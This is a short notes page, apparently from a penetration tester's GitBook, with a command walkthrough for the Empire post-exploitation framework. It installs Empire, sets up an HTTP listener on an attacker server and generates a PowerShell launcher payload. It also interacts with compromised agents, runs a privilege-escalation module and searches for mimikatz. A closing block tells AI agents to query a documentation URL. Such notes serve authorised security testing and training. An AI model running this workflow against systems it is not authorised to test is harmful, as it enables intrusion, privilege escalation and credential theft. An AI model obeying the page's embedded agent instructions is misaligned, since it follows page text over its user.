# Empire

{% embed url="<https://www.powershellempire.com>" %}

GitHub: <https://github.com/mishmashclone/BC-SECURITY-Empire>

```bash
# Step 1 - Github
https://github.com/BC-SECURITY/Empire/  

# Step 2 - Git clone it
cd /opt
git clone https://github.com/BC-SECURITY/Empire/  

# Step 3 - Setup Empire
cd Empire
./setup/install.sh

# Step 4 - Start Empire
./empire

# Optional - Help Command
help

# Create a listenner
listenner
uselistenner http 
info
set Host { ip of attacking server }:{ port }
set Port 443
execute
back

# Create a powershell launcher payload
launcher powershell http

# Change the delay to 1 second
sleep all 1

# Interact with the agent
interact { agent name }

# Using the modules (example below)
usemodule privesc/powerup/allchecks
execute

# Search modules
searchmodule mimikatz
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://squid22.gitbook.io/notes/tools/empire.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
